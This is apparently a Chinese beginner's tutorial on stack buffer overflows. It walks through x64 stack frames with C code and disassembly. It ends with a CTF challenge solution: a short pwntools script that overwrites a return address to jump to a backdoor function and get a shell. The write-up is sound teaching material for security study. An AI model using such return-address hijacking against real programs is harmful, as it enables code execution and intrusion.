那次栈溢出,毁了我的胖高手梦。
栈溢出原理
函数执行时的栈
函数执行时,会在栈上分配一块内存,用来存放函数的局部变量、函数的参数、返回地址等信息。函数执行结束后,会释放这块内存。
我们设想一个场景
#include <stdio.h>
void callee(int a, int b, int c, int d) {
int x = a + b;
int y = c + d;
int z = x + y;
printf("%d\n", z);
}
void caller() {
int callerLocalVar = 114514;
callee(1, 2, 3, 4);
}
int main() {
caller();
return 0;
}
这段程序的汇编:
.text:0000000000001149 ; __int64 __fastcall callee(_QWORD, _QWORD, _QWORD, _QWORD)
.text:0000000000001149 public callee
.text:0000000000001149 callee proc near ; CODE XREF: caller+27↓p
.text:0000000000001149
.text:0000000000001149 var_20 = dword ptr -20h
.text:0000000000001149 var_1C = dword ptr -1Ch
.text:0000000000001149 var_18 = dword ptr -18h
.text:0000000000001149 var_14 = dword ptr -14h
.text:0000000000001149 var_C = dword ptr -0Ch
.text:0000000000001149 var_8 = dword ptr -8
.text:0000000000001149 var_4 = dword ptr -4
.text:0000000000001149
.text:0000000000001149 ; __unwind {
.text:0000000000001149 endbr64
.text:000000000000114D push rbp
.text:000000000000114E mov rbp, rsp
.text:0000000000001151 sub rsp, 20h
.text:0000000000001155 mov [rbp+var_14], edi
.text:0000000000001158 mov [rbp+var_18], esi
.text:000000000000115B mov [rbp+var_1C], edx
.text:000000000000115E mov [rbp+var_20], ecx
.text:0000000000001161 mov edx, [rbp+var_14]
.text:0000000000001164 mov eax, [rbp+var_18]
.text:0000000000001167 add eax, edx
.text:0000000000001169 mov [rbp+var_C], eax
.text:000000000000116C mov edx, [rbp+var_1C]
.text:000000000000116F mov eax, [rbp+var_20]
.text:0000000000001172 add eax, edx
.text:0000000000001174 mov [rbp+var_8], eax
.text:0000000000001177 mov edx, [rbp+var_C]
.text:000000000000117A mov eax, [rbp+var_8]
.text:000000000000117D add eax, edx
.text:000000000000117F mov [rbp+var_4], eax
.text:0000000000001182 mov eax, [rbp+var_4]
.text:0000000000001185 mov esi, eax
.text:0000000000001187 lea rax, format ; "%d\n"
.text:000000000000118E mov rdi, rax ; format
.text:0000000000001191 mov eax, 0
.text:0000000000001196 call _printf
.text:000000000000119B nop
.text:000000000000119C leave
.text:000000000000119D retn
.text:000000000000119D ; } // starts at 1149
.text:000000000000119D callee endp
.text:000000000000119D
.text:000000000000119E
.text:000000000000119E ; =============== S U B R O U T I N E =======================================
.text:000000000000119E
.text:000000000000119E ; Attributes: bp-based frame
.text:000000000000119E
.text:000000000000119E ; __int64 caller()
.text:000000000000119E public caller
.text:000000000000119E caller proc near ; CODE XREF: main+D↓p
.text:000000000000119E
.text:000000000000119E var_4 = dword ptr -4
.text:000000000000119E
.text:000000000000119E ; __unwind {
.text:000000000000119E endbr64
.text:00000000000011A2 push rbp
.text:00000000000011A3 mov rbp, rsp
.text:00000000000011A6 sub rsp, 10h
.text:00000000000011AA mov [rbp+var_4], 1BF52h
.text:00000000000011B1 mov ecx, 4
.text:00000000000011B6 mov edx, 3
.text:00000000000011BB mov esi, 2
.text:00000000000011C0 mov edi, 1
.text:00000000000011C5 call callee
.text:00000000000011CA nop
.text:00000000000011CB leave
.text:00000000000011CC retn
.text:00000000000011CC ; } // starts at 119E
.text:00000000000011CC caller endp
我们假设程序从caller
函数开始执行,此时的栈上存放的是caller
函数的局部变量、参数、返回地址等信息。
stack-top (low address) |
---|
callerLocalVar |
rbp |
return address (main+18) |
当caller
函数调用callee
函数时,首先将call
指令的下一条指令的地址(即caller+44
)压入栈中,然后跳转到callee
函数的入口地址(即callee
函数的第一条指令的地址)开始执行。
stack-top (low address) |
---|
return address (caller+44) |
callerLocalVar |
rbp |
return address (main+18) |
callee
函数执行时,先将rbp压入栈中,然后将rsp的值赋给rbp,这样就建立了一个新的栈帧,然后在新的栈帧中分配内存,用来存放callee
函数的局部变量、参数、返回地址等信息。
也就是这段汇编代码:
push rbp
mov rbp, rsp
sub rsp, 20h
执行完后,栈变成了这样:
stack-top (low address) |
---|
arg4 |
arg3 |
arg2 |
arg1 |
local variable z |
local variable y |
local variable x |
rbp (存放了上一个栈帧的rbp) |
return address (caller+44) |
callerLocalVar |
caller-rbp |
return address (main+18) |
callee
函数执行完后,会将rbp的值赋给rsp,这样就恢复了上一个栈帧。为什么没有看到这些指令呢?因为这些指令被leave
指令代替了。
leave
在x64下相当于
mov rsp, rbp
pop rbp
执行完leave
指令前后的栈变化如下:
stack-top (low address) |
---|
return address (caller+44) |
callerLocalVar |
rbp (就是caller的rbp) |
return address (main+18) |
最后,ret
指令会将栈顶的值赋给rip,这样就跳转到了caller
函数的下一条指令开始执行。跳转后,理论上栈和进入callee
函数前是一模一样的。
栈溢出原理
栈溢出的原理就是,当我们向栈中写入数据时,如果写入的数据超过了栈的大小,就会覆盖栈上的其他内容,从而改变程序的执行流程。
我们来看一个例子:
#include <stdio.h>
void callee() {
char buf[4];
read(0, buf, 0x100);
}
int main() {
callee();
return 0;
}
像刚才分析的那样,callee
函数执行时,会在栈上分配一块内存,用来存放函数的局部变量、函数的参数、返回地址等信息。这里的局部变量就是buf
,它的大小是4字节。
stack-top (low address) |
---|
buf[0] |
buf[1] |
buf[2] |
buf[3] |
rbp |
return address (main+18) |
当我们向buf
中写入数据时,如果写入的数据超过了buf
的大小,就会覆盖栈上的其他内容,从而改变程序的执行流程。
假设我们输入的数据是0123abcdefghABCDEFGH
,栈变成了这样:
stack | content |
---|---|
buf[0] | 0 |
buf[1] | 1 |
buf[2] | 2 |
buf[3] | 3 |
rbp | abcdefgh |
return address | ABCDEFGH |
此时,返回地址被覆盖成了ABCDEFGH
,当callee
函数执行完后,会跳转到ABCDEFGH
。(当然,这个地址是无效的,程序会崩溃)
栈溢出的利用
最基础的利用和上面举的例子差不多,通过修改return address,来控制执行的函数。
用招新baby题来看看实际题目中是如何利用的:
[CNSS Recruit 2023] StackOverFlow
在vuln
函数中,我们可以看到,gets
可以往v1
中写入大量数据,但是v1
的大小只有0x10
,所以我们可以通过gets
向v1
中写入大量数据,从而覆盖return address为B4ckdo0r
的地址,从而getshell。
ida中给我们写出了v1
到rbp的偏移量(rbp-10h
),我们可以想像一下运行时的栈结构。
栈 | 相对栈顶位置 |
---|---|
v1 | 0 |
rbp | 0x10 |
return address | 0x18 |
注意,v1
到rbp
是0x10,但是rbp
本身还有8字节,所以v1
到return address
的偏移量是0x18。(如果是32位程序,ebp
本身是4字节,只用加4)
所以我们只需要输入0x18
个字节的数据,然后再输入B4ckdo0r
的地址,就可以getshell了。
exp如下:
#!/usr/bin/env python
from pwn import *
from pwn import p64, u64, p32, u32
import os
fileName = './pwn'
r = process(fileName)
elf = ELF(fileName)
backdoor_addr = 0x401232
payload = cyclic(0x10 + 8) + p64(backdoor_addr)
r.sendlineafter(b'\n', payload)
r.interactive()
溢出后的栈变成了这样:
stack | content |
---|---|
v1 | cyclic(0x10) |
rbp | cyclic(8) |
return address | 0x401232 (B4ckdo0r+8) |
为什么这里用了地址0x401232
而不是B4ckdo0r
的起始地址0x40122A
呢?
是因为system
函数需要栈平衡,所以跳过了前面修改栈的两条指令。